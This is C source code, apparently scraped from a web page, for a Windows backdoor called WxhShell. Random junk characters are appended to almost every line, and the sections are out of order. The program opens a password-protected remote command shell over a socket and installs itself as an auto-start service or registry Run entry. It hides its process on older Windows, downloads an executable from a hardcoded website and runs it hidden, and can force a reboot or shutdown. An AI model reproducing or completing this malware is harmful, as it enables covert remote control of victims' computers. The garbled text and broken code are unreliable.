    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t#|R"Q#  
    if(Boot(SHUTDOWN)) ]!"w?-h Si  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qb=2J5su  
    else { ?x&}ammid  
    closesocket(wsh); Ht(TYq  
    ExitThread(0); 8I RKCuV  
    } aH?Ygzw  
    break; {qi #  
    } eG!ma`v  
  // 获取shell 5(J?C-Pk  
  case 's': { $j\>T@  
    CmdShell(wsh); &d2L9kTk  
    closesocket(wsh); 1L4-;HYJm  
    ExitThread(0); j67ppt  
    break; zHZfp_I  
  } f0sLe 3  
  // 退出 uK$ Xqo%L  
  case 'x': { F+(S-Qk1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $.4A?,d  
    CloseIt(wsh); M-i3_H)  
    break; Y Z+G7D>  
    } wrgB =o  
  // 离开 zhs @ YMY  
  case 'q': { -o%? ]S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (FApkvy  
    closesocket(wsh); \]f+{d- &  
    WSACleanup(); }i"[5:  
    exit(1); "/e)v{  
    break; g{6jN  
        } FqA4 O U  
  } S._2..%G  
  } er7(Wph  
"[?DS  
  // 提示信息 }6-olVg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Jj|+P-lY  
} 02t({>`  
  } yPtE5"(o  
]#f%Dku.m  
  return; E7iAN\vo  
} bpZA% {GS  
S!u8JG1  
// shell模块句柄 T(x@ gwc  
int CmdShell(SOCKET sock) aUEr& $  
{ 6H'A]0  
STARTUPINFO si; G4SA u  
ZeroMemory(&si,sizeof(si)); $+GDPYm'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mTtaqo_Bh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !38KHq^|&  
PROCESS_INFORMATION ProcessInfo; tNr'@ls  
char cmdline[]="cmd"; !xck ~EAS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o!+%|V8Y  
  return 0; (J5} 1Q<K  
} 2YZ>nqy  
Gl'G;F$Y-  
// 自身启动模式 N`efLOMl]  
int StartFromService(void) M;y*`<x  
{  *1["x;A  
typedef struct e7"T37  
{ ZN)EbTpc\a  
  DWORD ExitStatus; \O "`o4  
  DWORD PebBaseAddress; 1xS+r)_n@  
  DWORD AffinityMask; /Z?o%/bw:  
  DWORD BasePriority; Mw RLv,&"  
  ULONG UniqueProcessId; @6~lZgXOV[  
  ULONG InheritedFromUniqueProcessId; \7b, Mz!  
}   PROCESS_BASIC_INFORMATION; Cs>`f, o  
uT, i&  
PROCNTQSIP NtQueryInformationProcess; $|g1 _;(G  
yR|2><A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uc+{<E3,%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .kFO@:  
j3 6Y Iz$a  
  HANDLE             hProcess; eg/itty  
  PROCESS_BASIC_INFORMATION pbi; [pTdeg;QE  
W{'hn&vU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .+(V</  
  if(NULL == hInst ) return 0; +_fFRyu>  
Qb?a[[3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yC1OeO8{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %z@ Z^Jv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jfr'OD2$ %  
^OQP;5 #K  
  if (!NtQueryInformationProcess) return 0; }UsH#!9.  
W;I{4ed6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L>IP!.J]?  
  if(!hProcess) return 0; hT-^1 :N  
*:TwO=)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BkB _?^Nv8  
%" bI2  
  CloseHandle(hProcess); h+B7BjA>G  
k@lJ8(i^qU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Q|a R  
if(hProcess==NULL) return 0; |x1OWm1:<  
gq+0t  
HMODULE hMod; C <:g"F:k  
char procName[255]; :'Gn?dv|  
unsigned long cbNeeded; (.!9  
[?7QmZK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); of*T,MUI  
g^A^@~M  
  CloseHandle(hProcess); ?P[:,0_  
 DlCN  
if(strstr(procName,"services")) return 1; // 以服务启动 x`7Le&4f  
"W6cQsi  
  return 0; // 注册表启动 XlF,_  
} @Ik5BT  
5lHt~hB\  
// 主模块 f3! Oc  
int StartWxhshell(LPSTR lpCmdLine) tZ62T{, a  
{ Wtu-g**KN  
  SOCKET wsl; %%X/gvaJ  
BOOL val=TRUE; #g$I>\O<  
  int port=0; ? 0X$ox  
  struct sockaddr_in door; $=\=80u/  
KB~[nZs7  
  if(wscfg.ws_autoins) Install(); vT{(7m!Ra  
19GF%+L ,  
port=atoi(lpCmdLine); '{cND  
ek5j;%~g1  
if(port<=0) port=wscfg.ws_port; E7h@Y~bNhW  
-<x%  
  WSADATA data; aK6dy\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A*0X ~6W  
gHp4q!SJ7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qmpT G:+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pn4.gabE  
  door.sin_family = AF_INET; QyTN  V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g~21|Sa$[  
  door.sin_port = htons(port); ?pJ2"/K   
*.w6 =}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J ##a;6@  
closesocket(wsl); E^n!h06~G  
return 1; [MAPa  
} c[M4l  
Nz{qu}dt  
  if(listen(wsl,2) == INVALID_SOCKET) { .=}\yYGe   
closesocket(wsl); ;ja~Q .}4  
return 1; 6%t6u3  
} iDDq<a.A  
  Wxhshell(wsl); n>JJ Xw,,  
  WSACleanup(); 2va[= >_  
E5S(1Z}]p{  
return 0; Rh~j -;  
ecl6>PS$'  
} z I9jxwXU  
P)y2'JKL  
// 以NT服务方式启动 R+0fs$s u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |;V-;e*  
{ ok,O/|E}?  
DWORD   status = 0; vbd ;Je"  
  DWORD   specificError = 0xfffffff; aTHf+;  
kQ\l7xd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '9vsv\A&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c9uu4%KG6<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e"EGqn&!  
  serviceStatus.dwWin32ExitCode     = 0; ~<IQe-Q 5  
  serviceStatus.dwServiceSpecificExitCode = 0; d/TFx  
  serviceStatus.dwCheckPoint       = 0; Pj56,qd>s  
  serviceStatus.dwWaitHint       = 0; \A!I ln  
,lCFe0>k!=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZrP 8/>  
  if (hServiceStatusHandle==0) return; Qe7 SH{  
Y/mfBkh  
status = GetLastError(); JeVbFZ8  
  if (status!=NO_ERROR) mOjjw_3gq  
{ ]*$o qn=m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ c~j  
    serviceStatus.dwCheckPoint       = 0; ):+^893)  
    serviceStatus.dwWaitHint       = 0; @!x7jPr  
    serviceStatus.dwWin32ExitCode     = status; 4,)QV_?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 01aw+o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jtpk5 fJB  
    return; ]t17= Lr?  
  } uRuu!{$  
.Xxxz Wyk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5M8   
  serviceStatus.dwCheckPoint       = 0; l~f9F`~'  
  serviceStatus.dwWaitHint       = 0; v+C D{Tc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x)q$.u+  
} &&}c R:U,  
E[CvxVCx  
// 处理NT服务事件,比如:启动、停止 '/ueY#eG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Jx&+e,OST  
{ RzB64  
switch(fdwControl) D* HK[_5  
{ Frhm4H%,_R  
case SERVICE_CONTROL_STOP: v!mP9c j  
  serviceStatus.dwWin32ExitCode = 0; SN QLEe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zb9vUxN [  
  serviceStatus.dwCheckPoint   = 0; </fTn_{2s8  
  serviceStatus.dwWaitHint     = 0; )gR3S%Ju  
  { `AdHyE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); noT}NX%  
  } x||b :2  
  return; 3 }rx(  
case SERVICE_CONTROL_PAUSE: >\5ZgC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F<6{$YI  
  break; E?m W4?  
case SERVICE_CONTROL_CONTINUE:  q,'~=Y5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B7'2@+(  
  break; P6tJo{l8w  
case SERVICE_CONTROL_INTERROGATE: LGCeYXic  
  break; twTRw:.!f  
}; ht5:kt`F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MD+ eLA7  
} YGq-AB  
AqrK==0N  
// 标准应用程序主函数 `,wX&@sN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'ka"0~:NS{  
{ T~N877  
t2%gS" [  
// 获取操作系统版本 jmnrpXaAx  
OsIsNt=GetOsVer(); k1WyV_3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;77q~_g$  
`VOLw*Ci  
  // 从命令行安装 bNz2Uo!0K  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0h2MmI#  
xJ|Z]m=d   
  // 下载执行文件  M Xl!  
if(wscfg.ws_downexe) { tgm(tDL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nHF  
  WinExec(wscfg.ws_filenam,SW_HIDE); hB*3Py27L  
} }(if|skau  
%PU {h  
if(!OsIsNt) { ["?WVXCF8|  
// 如果时win9x,隐藏进程并且设置为注册表启动 v{>9&o.J  
HideProc(); qS2]|7q?Tc  
StartWxhshell(lpCmdLine); QmB,~x{j>  
} qfEB VS(  
else 9!6yo  
  if(StartFromService()) - e"XEot~  
  // 以服务方式启动 ?"q S%EH  
  StartServiceCtrlDispatcher(DispatchTable); !' @  
else SxCzI$SGu  
  // 普通方式启动 gIXc-=Ut  
  StartWxhshell(lpCmdLine); @-qC".CI  
g7W\  &  
return 0; (wsvj61  
} \\~4$Ai[  
lf9_!`DGV  
cYEe`?*  
UwxrYouv~@  
=========================================== /%GMbO_  
Y_Lsmq2!  
y7s.6i}7  
cB[.ET$  
YPq`su7m9  
pBu~($%d  
" w]0jq U6  
*8CE0;p'k  
#include <stdio.h> $pGk%8l%  
#include <string.h> U!x\oLP  
#include <windows.h> Qmh*Gh? v  
#include <winsock2.h> KhV; />(  
#include <winsvc.h> B1Iq:5nmoS  
#include <urlmon.h> *ha9Vq@X  
Vkb&' rXw+  
#pragma comment (lib, "Ws2_32.lib") {\e wf_pFk  
#pragma comment (lib, "urlmon.lib") ]H|1q uT  
ARu^hz=  
#define MAX_USER   100 // 最大客户端连接数 3?uP$(l  
#define BUF_SOCK   200 // sock buffer @*O(dw  
#define KEY_BUFF   255 // 输入 buffer ~1h-LbFI2  
[ @/[#p  
#define REBOOT     0   // 重启 ~ +$l9~`{  
#define SHUTDOWN   1   // 关机 ':w6 {b  
Z [5HI;  
#define DEF_PORT   5000 // 监听端口 g `B?bBg  
a~~"2LE`  
#define REG_LEN     16   // 注册表键长度 ,O(XNA(C  
#define SVC_LEN     80   // NT服务名长度 4p~:(U[q  
ZdH WSfO)O  
// 从dll定义API %/MK$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #PA"l` "  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _bks*.9}3b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CsR~qQ 5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X>|.BvY|  
9HEc=,D|  
// wxhshell配置信息 )-a_,3x%j  
struct WSCFG { t@v>eb  
  int ws_port;         // 监听端口 W3 8 =fyD  
  char ws_passstr[REG_LEN]; // 口令 D0k7)\puQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,?#-1uIGL>  
  char ws_regname[REG_LEN]; // 注册表键名  (lPNMS|V  
  char ws_svcname[REG_LEN]; // 服务名 f3l >26  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C.(ZXU7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6U+#ADo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c*1x*'j.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `g :<$3}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iy: ;g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]aakEU  
H_8@J  
}; >LU*F|F]B  
vP~F+z @g  
// default Wxhshell configuration $uLzC]  
struct WSCFG wscfg={DEF_PORT, 0`ib_&yI  
    "xuhuanlingzhe", t583Q/1@  
    1, uN\9c Q  
    "Wxhshell", cq9Q7<&MF  
    "Wxhshell", dna f>G3  
            "WxhShell Service", 6|dUz*Pr|\  
    "Wrsky Windows CmdShell Service", 7e=a D~f  
    "Please Input Your Password: ", [ $"iO#oO  
  1,  vo(?[[  
  "http://www.wrsky.com/wxhshell.exe", mmKrmM*1  
  "Wxhshell.exe" ~!nd'{{9  
    }; ntkinbbD  
B]qh22Yib  
// 消息定义模块 < NAR'{f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X%F9.<4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q-3KF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IIR?@/q  
char *msg_ws_ext="\n\rExit."; 6aK--k  
char *msg_ws_end="\n\rQuit."; JZnWzqFw  
char *msg_ws_boot="\n\rReboot..."; d!LV@</  
char *msg_ws_poff="\n\rShutdown..."; }-Ma ~/  
char *msg_ws_down="\n\rSave to "; jI V? p  
i-=ff  
char *msg_ws_err="\n\rErr!"; w0I /  
char *msg_ws_ok="\n\rOK!"; J-ZM1HoB  
RQ'c~D)X  
char ExeFile[MAX_PATH]; V$_0VN'+Z  
int nUser = 0; 7r<>^j'  
HANDLE handles[MAX_USER]; ii2Z }qe  
int OsIsNt; @/u`7FO$&  
g|HrhUT;  
SERVICE_STATUS       serviceStatus; a?MtY EK2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2r0!h98  
stG&(M  
// 函数声明 yy74>K  
int Install(void); 4Qo1f5 >N  
int Uninstall(void); M0e|G.S&_  
int DownloadFile(char *sURL, SOCKET wsh); Om"3Q/&  
int Boot(int flag); oQXkMKZ  
void HideProc(void); vWovR`  
int GetOsVer(void); U:|v(U$"?  
int Wxhshell(SOCKET wsl); @[RY8~  
void TalkWithClient(void *cs); 4~Pto f@  
int CmdShell(SOCKET sock); A m1W<`  
int StartFromService(void); .Topg.7W  
int StartWxhshell(LPSTR lpCmdLine); h3IkOh4|h  
gWo~o]f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L _y|l5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NGs9Jke2  
&s;^q  
// 数据结构和表定义 $?-o  
SERVICE_TABLE_ENTRY DispatchTable[] = FxX3Pq8h  
{ &FVlTo1  
{wscfg.ws_svcname, NTServiceMain}, ]+dl=SmF  
{NULL, NULL} Y]K]]Ehp  
}; !q\w"p0X  
]e~^YZOs  
// 自我安装 )YtL=w?L'  
int Install(void) {kH^OZ^(e  
{ 2H+DT-hK  
  char svExeFile[MAX_PATH]; %pkq ?9  
  HKEY key; UeMe4$m  
  strcpy(svExeFile,ExeFile); C+?s~JL  
73ljW  
// 如果是win9x系统,修改注册表设为自启动 51ebE`  
if(!OsIsNt) { 7B!Qq/E?g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q_.c~I}yV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $ ].k6,%{p  
  RegCloseKey(key); HHTsHb{7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J8BT%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KBq aI((  
  RegCloseKey(key); e@-Mlq)  
  return 0; $jh>zf  
    } gNN" H#=2  
  } <?{}Bo0xG  
} \u-e\w  
else { +Cg"2~  
N$&ePU J  
// 如果是NT以上系统,安装为系统服务 nCMa$+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [ky6E*dV`  
if (schSCManager!=0) Qr%Jm{_o  
{ &:I +]G/W  
  SC_HANDLE schService = CreateService * m&: Yje  
  ( q VdC?A|  
  schSCManager, Qb't*2c%  
  wscfg.ws_svcname, 7$'mC9  
  wscfg.ws_svcdisp, _6UAeZ*M  
  SERVICE_ALL_ACCESS, +aw>p_\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rYFau1  
  SERVICE_AUTO_START, ?5v5:U(A  
  SERVICE_ERROR_NORMAL, )Ct*G= N  
  svExeFile, ivX37,B\bS  
  NULL, Fv);5LD  
  NULL, =8~R $z%  
  NULL, Sj{ia2AE_  
  NULL, ? TT8|Os  
  NULL >6I.%!jU  
  ); -yAnn  
  if (schService!=0) \FoxKOTp  
  { x:?a;muf  
  CloseServiceHandle(schService); `<}V !Lo  
  CloseServiceHandle(schSCManager); {y:#'n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OOBcJC  
  strcat(svExeFile,wscfg.ws_svcname); >GznG[Ku  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y2#>c*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fcE)V#c"g  
  RegCloseKey(key); 1n`1o-&l-  
  return 0; 0/:=wn^pg  
    } <m>l-]  
  } M[K0t>ih  
  CloseServiceHandle(schSCManager); $,;S\JmWP  
} r6n5Jz  
} ?cO8'4 bq  
<4Q12:  
return 1; #A3v]'7B  
} MV<!<Qmj  
7V=MRf&xQ  
// 自我卸载 ;wbUk5Tf/  
int Uninstall(void)  L%WME8PB  
{ |0L=8~M(j  
  HKEY key; '(*&Ax  
;vJ\]T ml  
if(!OsIsNt) { ,!I?)hwOC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sOl>5:D6  
  RegDeleteValue(key,wscfg.ws_regname); Q54r?|'V  
  RegCloseKey(key); Hwp{<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >I4p9y(u  
  RegDeleteValue(key,wscfg.ws_regname); n5v'  
  RegCloseKey(key); P{S\pWZkk  
  return 0; rBD(2M  
  } jC%35bi  
} c~^CKgr~R9  
} W|25t)cJ8h  
else { Zk=*7?!!  
X(k{-|9]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6 Wpxp\  
if (schSCManager!=0) Xnv@H:$mxk  
{ jg [H}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pb^,Qvnp   
  if (schService!=0) wjTNO0hj  
  { %9C`  
  if(DeleteService(schService)!=0) { p}3NJV  
  CloseServiceHandle(schService); wG1y,u'  
  CloseServiceHandle(schSCManager); +T0op4  
  return 0; <4bz/^  
  } 7qe7F l3  
  CloseServiceHandle(schService); "z^(dF|  
  } 1 -ZJT  
  CloseServiceHandle(schSCManager); Eh\ 1O(a(  
}  nbI= r+  
} 7}be>(  
AF^T~?t  
return 1; DY9fF4[9a  
} KRYcCn  
EgTFwEj  
// 从指定url下载文件 ^0^( u  
int DownloadFile(char *sURL, SOCKET wsh) X ZS5B~E '  
{ c juZB Fl  
  HRESULT hr; 1O |V=K  
char seps[]= "/"; CqqXVF3  
char *token; z[fB!O  
char *file; /XcDYMKgh  
char myURL[MAX_PATH]; zJ9v%.e  
char myFILE[MAX_PATH]; CRFCqmevR  
R A:jzht  
strcpy(myURL,sURL); ~eP  
  token=strtok(myURL,seps); 9tn;L"#&N  
  while(token!=NULL) >$\Bu]{1  
  { 9)+@0fG)  
    file=token; `)32&\  
  token=strtok(NULL,seps); TyF{tuF  
  } aD9rp V  
hd B |#t  
GetCurrentDirectory(MAX_PATH,myFILE); 8tLHr@%%  
strcat(myFILE, "\\"); }j46L1T  
strcat(myFILE, file); z}ElpT[(;  
  send(wsh,myFILE,strlen(myFILE),0); .NJ|p=fy  
send(wsh,"...",3,0); e+'%!w"B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OL'P]=U  
  if(hr==S_OK) GWsd| kxU  
return 0; d?A}qA[(  
else #;[Bl=3(  
return 1; q$[n`w-  
]H ~Y7\N-v  
} XphE loL  
c%z'xM  
// 系统电源模块 - v]Qhf&>  
int Boot(int flag) R(k}y,eh.`  
{ #)s!}X^  
  HANDLE hToken; {uU 2)5i2-  
  TOKEN_PRIVILEGES tkp; FJeiY#us  
^T6S()G  
  if(OsIsNt) { i?>tgmu.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kA4@`YCl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K R,z^9  
    tkp.PrivilegeCount = 1; <8!  Tq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mT @ nn,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %{!R l@  
if(flag==REBOOT) { ZF6c{~D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7" 4z+w  
  return 0; mM_ k ^4:  
} Y- )x Tn  
else { $TG =w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zd!U')5/  
  return 0; z.36;yT/  
} Es!Q8.  
  } a~PK pw2%  
  else { 0|c}p([~  
if(flag==REBOOT) { rf.`h{!!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dtZE67KS  
  return 0; 5'KA'>@  
} 7B7&9<gc  
else { NI aFI(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u 8^{  
  return 0; !4(zp;WY^  
} |kJ%`j(7R  
} /Fgw$ ^H  
bes<qy  
return 1; We)xB  
} ;^+\K-O]c  
H h4WMZJG  
// win9x进程隐藏模块 2Zm0qJ  
void HideProc(void) Upx G@b  
{ {0r0\D>bw  
XYQ/^SI!:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =-tw5], L  
  if ( hKernel != NULL ) V#v`(j%  
  { p$O.> [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +20G>y=+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,yC-+VL  
    FreeLibrary(hKernel); :{{F *FM;  
  } x;w6na  
4"GR] X  
return; y@1+I ~@  
} .nTwPrG  
ky8_UnaO  
// 获取操作系统版本  JR'  
int GetOsVer(void) XFg 9P}"  
{ "_P;2N6  
  OSVERSIONINFO winfo; Q[Z8ok  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w?3p';C  
  GetVersionEx(&winfo); %W'v}p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 90Pl$#cb2  
  return 1; G, 44va  
  else j~"Q3P;V  
  return 0; a Ve'ry  
} Ha(c'\T (\  
#r$cyV!k  
// 客户端句柄模块 D!@Ciw  
int Wxhshell(SOCKET wsl) Ua<5U5  
{ LVX[uWEM  
  SOCKET wsh; W~6EEyD%  
  struct sockaddr_in client; WeJl4wF  
  DWORD myID; O80<Z#%j`  
3Ko/{f  
  while(nUser<MAX_USER) l2`s! ,<>O  
{ //*fSF   
  int nSize=sizeof(client); wZG\>9~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9l|@v=gw.  
  if(wsh==INVALID_SOCKET) return 1; * ;-*x6  
ydFD!mO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L E&RY[  
if(handles[nUser]==0) uya.sF0]9B  
  closesocket(wsh); 46$._h P  
else 3%l*N&gsg:  
  nUser++; MPCBT!o4Z  
  } RdWRWxTn8+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qT ,Te  
b+,' ;bW  
  return 0; : imW\@u  
} S-P/+K6  
E4xj?m^(y=  
// 关闭 socket RzxNbeki[W  
void CloseIt(SOCKET wsh) C+'/>=>a.  
{ $Oq^jUJ  
closesocket(wsh); Mx&&0#;r  
nUser--; {,3>"  
ExitThread(0); n\QgOSr<  
} ~kQA7;`j$  
.}^g!jm~h  
// 客户端请求句柄 MTsM]o  
void TalkWithClient(void *cs) 9`wZz~hL"  
{ ?!;7:VIE  
AB=daie  
  SOCKET wsh=(SOCKET)cs; ;L cVr13J/  
  char pwd[SVC_LEN]; _XG/Pp)  
  char cmd[KEY_BUFF]; XDsx3Ws  
char chr[1]; esHg'8?U  
int i,j; 0F]>Jby  
i8`Vv7LF  
  while (nUser < MAX_USER) { ?$vCW|f  
[ OM7g'?S0  
if(wscfg.ws_passstr) { rv &<{@AS~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \wo?47+=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >[MX:Yh  
  //ZeroMemory(pwd,KEY_BUFF); `)` n(B  
      i=0; 0C1pt5K  
  while(i<SVC_LEN) { ,#Iu 7di  
Ewu O&q  
  // 设置超时 bW$J~ynM  
  fd_set FdRead; cU;iUf  
  struct timeval TimeOut; }M1`di4e  
  FD_ZERO(&FdRead); '3_]Gu-D  
  FD_SET(wsh,&FdRead); Ge2q%  
  TimeOut.tv_sec=8; *-MM<|Qt  
  TimeOut.tv_usec=0; O/,aJCe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ p{#XwN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q ]M+/sl  
i'4B3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w,w{/T+B  
  pwd=chr[0]; j:5=s%S  
  if(chr[0]==0xd || chr[0]==0xa) { }3o|EXx=  
  pwd=0; W"zab  
  break; Id'X*U7Q  
  } 8JM&(Q%#  
  i++; 8C[C{qOJ  
    } nTuJEFn{  
IAYR+c  
  // 如果是非法用户,关闭 socket 2HpHxVJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3x5JFM  
} [baiH|5>  
!+1<E*NQ S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uZc`jNc\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .l>77zM6  
#z&& M"*a|  
while(1) { 4xk|F'6K  
uv=.2U46  
  ZeroMemory(cmd,KEY_BUFF); } E0,z  
.Si,dc\  
      // 自动支持客户端 telnet标准   *FC=X)_&W  
  j=0; P\w\N2  
  while(j<KEY_BUFF) { eCN })An  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =+ytTQc*ot  
  cmd[j]=chr[0]; f47Od-\-  
  if(chr[0]==0xa || chr[0]==0xd) { |K6REkzr  
  cmd[j]=0; |<#{"'/=  
  break; mX\T D0$d  
  } n1~o1  
  j++; xgpi-l  
    } 9^,Lc1"M>  
x97 j  
  // 下载文件 0uWR<,]  
  if(strstr(cmd,"http://")) { 3{""58  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b?TO=~k,  
  if(DownloadFile(cmd,wsh)) ?3*l{[@J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z54EG:x.7^  
  else 2@9Tfm(=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dls ss\c^M  
  } [ JpKSTg[  
  else { L!rw[x  
L{hnU7sY  
    switch(cmd[0]) { VTG9$rQZ  
  n;(\5{a  
